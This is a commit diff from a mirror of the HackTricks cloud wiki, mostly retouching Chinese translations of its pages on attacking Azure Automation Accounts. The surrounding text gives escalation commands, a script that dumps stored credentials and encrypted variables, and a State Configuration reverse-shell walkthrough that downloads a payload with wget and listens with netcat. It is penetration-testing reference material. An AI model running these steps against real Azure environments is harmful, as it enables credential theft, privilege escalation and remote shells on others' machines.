mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,7 +10,7 @@
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
### Hybrid Workers Group
|
||||
|
||||
请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。
|
||||
|
||||
@@ -36,9 +36,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
注意之前的脚本如何可以用来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。
|
||||
注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。
|
||||
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布一个Runbook,以便应用更改:
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -64,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
此权限允许用户使用以下方式**将用户管理的身份分配**给自动化帐户:
|
||||
此权限允许用户使用**分配用户管理的身份**到自动化帐户:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -82,7 +82,7 @@ az rest --method PATCH \
|
||||
|
||||
通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**,可以在自动化帐户中创建一个每15分钟执行一次的新计划(不太隐蔽),使用以下命令。
|
||||
|
||||
请注意,**计划的最小间隔为15分钟**,并且**最早开始时间为未来5分钟**。
|
||||
请注意,**计划的最小间隔为15分钟**,并且**最小开始时间为未来5分钟**。
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -104,7 +104,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
然后,拥有权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 后,可以使用以下方法将调度程序分配给运行簿:
|
||||
然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -129,7 +129,7 @@ az rest --method PUT \
|
||||
|
||||
拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。
|
||||
|
||||
请注意,您需要 **指明 webhook URI** 及要使用的令牌。
|
||||
请注意,您需要 **指明 webhook URI** 以及要使用的令牌。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
@@ -194,7 +194,7 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。
|
||||
这将自动从Github存储库导入运行手册到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。
|
||||
|
||||
此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。
|
||||
|
||||
@@ -219,7 +219,7 @@ az rest --method PUT \
|
||||
```
|
||||
### 自定义运行时环境
|
||||
|
||||
如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
|
||||
如果一个自动化账户使用自定义运行时环境,可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
|
||||
|
||||
### 破坏状态配置
|
||||
|
||||
@@ -228,10 +228,10 @@ az rest --method PUT \
|
||||
- 第一步 — 创建文件
|
||||
|
||||
**所需文件:** 需要两个 PowerShell 脚本:
|
||||
1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
|
||||
1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
|
||||
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
|
||||
|
||||
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。
|
||||
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。
|
||||
|
||||
- 第二步 — 压缩配置文件
|
||||
|
||||
@@ -245,9 +245,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- 第 4 步 — 准备 Kali Box
|
||||
- 第4步 — 准备Kali Box
|
||||
|
||||
Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。
|
||||
Kali服务器从GitHub仓库下载RevPS.ps1有效载荷。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
@@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- 第 6 步 — 托管有效负载并设置监听器
|
||||
|
||||
启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
|
||||
启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -1,56 +1,54 @@
|
||||
# Az - 自动化账户
|
||||
# Az - Automation Accounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure 自动化账户是 Microsoft Azure 中的云服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**运行簿**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。
|
||||
Azure Automation Accounts 是 Microsoft Azure 中的基于云的服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**Runbooks**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。
|
||||
|
||||
### 设置
|
||||
|
||||
- **凭据**:密码仅在自动化账户内的运行簿中可访问,用于**安全存储用户名和密码**。
|
||||
- **变量**:用于存储可在运行簿中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化账户内的运行簿中可用。
|
||||
- **证书**:用于存储可在运行簿中使用的**证书**。
|
||||
- **凭据**:密码仅在自动化帐户内的 Runbook 中可访问,用于**安全存储用户名和密码**。
|
||||
- **变量**:用于存储可在 Runbook 中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化帐户内的 Runbook 中可用。
|
||||
- **证书**:用于存储可在 Runbook 中使用的**证书**。
|
||||
- **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。
|
||||
- **网络访问**:可以设置为**公共**或**私有**。
|
||||
|
||||
## 运行簿与作业
|
||||
### Runbooks 和作业
|
||||
|
||||
Azure 自动化中的运行簿是一个**自动执行任务的脚本**,在您的云环境中运行。运行簿可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如虚拟机管理、补丁或合规检查。
|
||||
Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、打补丁或合规检查。
|
||||
|
||||
在**运行簿**中的**代码**可能包含**敏感信息**(如凭据)。
|
||||
在**Runbooks**中的**代码**可能包含**敏感信息**(如凭据)。
|
||||
|
||||
转到 `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**作业是运行簿执行的实例**。当您运行一个运行簿时,会创建一个作业来跟踪该执行。每个作业包括:
|
||||
**作业是 Runbook 执行的一个实例**。当您运行一个 Runbook 时,会创建一个作业来跟踪该执行。每个作业包括:
|
||||
|
||||
- **状态**:排队、运行、完成、失败、挂起。
|
||||
- **输出**:运行簿执行的结果。
|
||||
- **输出**:Runbook 执行的结果。
|
||||
- **开始和结束时间**:作业开始和完成的时间。
|
||||
|
||||
作业包含**运行簿**执行的**输出**。如果您可以**读取**这些**作业**,请这样做,因为它们**包含**运行的**输出**(潜在的**敏感信息**)。
|
||||
作业包含**Runbook**执行的**输出**。如果您可以**读取**这些**作业**,请这样做,因为它们**包含**运行的**输出**(潜在的**敏感信息**)。
|
||||
|
||||
### 计划与 Webhook
|
||||
### 计划和 Webhooks
|
||||
|
||||
执行运行簿的主要方式有 3 种:
|
||||
执行 Runbook 的主要方式有 3 种:
|
||||
|
||||
- **计划**:用于在**特定时间**或**间隔**触发运行簿。
|
||||
- **Webhook**:这些是可用于从**外部服务**触发运行簿的**HTTP 端点**。请注意,创建后 webhook URL 是**不可见**的。
|
||||
- **手动触发**:您可以从 Azure 门户和 CLI 手动触发运行簿。
|
||||
- **计划**:用于在**特定时间**或**间隔**触发 Runbooks。
|
||||
- **Webhooks**:这些是可用于从**外部服务**触发 Runbooks 的**HTTP 端点**。请注意,创建后 webhook URL 是**不可见**的。
|
||||
- **手动触发**:您可以从 Azure 门户和 CLI 手动触发 Runbook。
|
||||
|
||||
### 源控制
|
||||
|
||||
它允许从**Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入运行簿。可以指示将仓库的运行簿发布到 Azure 自动化账户,也可以指示**将更改从仓库同步**到 Azure 自动化账户。
|
||||
它允许从**Github、Azure Devops (Git) 和 Azure Devops (TFVC)**导入 Runbooks。可以指示将存储库的 Runbooks 发布到 Azure Automation 帐户,也可以指示**将存储库中的更改同步**到 Azure Automation 帐户。
|
||||
|
||||
当同步启用时,在**Github 仓库中会创建一个 webhook**,以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
启用同步时,在**Github 存储库中会创建一个 webhook**,以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
请注意,这些 webhook 在列出与 Github 仓库关联的运行簿时**不会可见**。还要注意,一旦创建,**无法更改源控制的仓库 URL**。
|
||||
请注意,这些 webhooks 在列出与 Github 存储库关联的 Runbooks 的 webhooks 时**不可见**。还要注意,一旦创建,**无法更改源控制的存储库 URL**。
|
||||
|
||||
为了使配置的源控制正常工作,**Azure 自动化账户**需要具有**`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给自动化账户,需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
|
||||
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有**`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account,需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
|
||||
|
||||
### 运行时环境
|
||||
|
||||
创建运行簿时,可以选择运行时环境。默认情况下,以下运行时环境可用:
|
||||
创建 Runbook 时,可以选择运行时环境。默认情况下,以下运行时环境可用:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -63,26 +61,26 @@ Azure 自动化中的运行簿是一个**自动执行任务的脚本**,在您
|
||||
|
||||
### 混合工作组
|
||||
|
||||
在 Azure 自动化中,运行簿的默认执行环境是**Azure 沙箱**,这是一个由 Azure 管理的云平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限,以及执行时间和资源使用的限制。为克服这些限制,采用混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合运行簿工作者**组成,无论是在本地、其他云环境还是 Azure 虚拟机上。此设置允许运行簿直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
|
||||
在 Azure Automation 中,Runbooks 的默认执行环境是**Azure Sandbox**,这是一个由 Azure 管理的基于云的平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限以及执行时间和资源使用的限制。为克服这些限制,采用了混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合 Runbook Worker**组成,无论是在本地、其他云环境还是 Azure 虚拟机上。此设置允许 Runbooks 直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
|
||||
|
||||
创建混合工作组时,需要指明要使用的**凭据**。有 2 个选项:
|
||||
|
||||
- **默认凭据**:您无需提供凭据,运行簿将在虚拟机内以**系统**身份执行。
|
||||
- **特定凭据**:您需要提供自动化账户内凭据对象的名称,该凭据将用于在虚拟机内执行**运行簿**。因此,在这种情况下,可能会**窃取虚拟机的有效凭据**。
|
||||
- **默认凭据**:您无需提供凭据,Runbooks 将作为**系统**在虚拟机内执行。
|
||||
- **特定凭据**:您需要提供自动化帐户内凭据对象的名称,该凭据将用于在虚拟机内执行**Runbooks**。因此,在这种情况下,可能会**窃取虚拟机的有效凭据**。
|
||||
|
||||
因此,如果您可以选择在**Windows 混合工作者**中运行**运行簿**,您将以**系统**身份在外部机器上执行**任意命令**(不错的转移技术)。
|
||||
因此,如果您可以选择在**混合工作者**中运行**Runbook**,您将以**系统**身份在外部机器上执行**任意命令**(不错的转移技术)。
|
||||
|
||||
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份和虚拟机的所有托管身份的元数据服务**。
|
||||
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份,Runbook 将能够访问**Runbook 的托管身份和虚拟机的所有托管身份的元数据服务**。
|
||||
|
||||
> [!TIP]
|
||||
> 请记住,**元数据服务**的 URL 与获取自动化账户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
|
||||
> 请记住,**元数据服务**的 URL 与获取自动化帐户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
|
||||
|
||||
### 状态配置 (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示,Azure 自动化状态配置将在 2027 年 9 月 30 日退役,并由[Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)替代。
|
||||
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示,Azure Automation 状态配置将在 2027 年 9 月 30 日退役,并由[Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)替代。
|
||||
|
||||
自动化账户还支持**状态配置 (SC)**,这是一个帮助**配置**和**维护**虚拟机**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
|
||||
Automation Accounts 还支持**状态配置 (SC)**,这是一个帮助**配置**和**维护**您的虚拟机**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
|
||||
|
||||
从攻击者的角度来看,这很有趣,因为它允许**在所有配置的虚拟机中执行任意 PS 代码**,从而提升到这些虚拟机的托管身份,可能转移到新的网络……此外,配置可能包含**敏感信息**。
|
||||
|
||||
@@ -170,7 +168,7 @@ az rest --method GET \
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
|
||||
Reference in New Issue
Block a user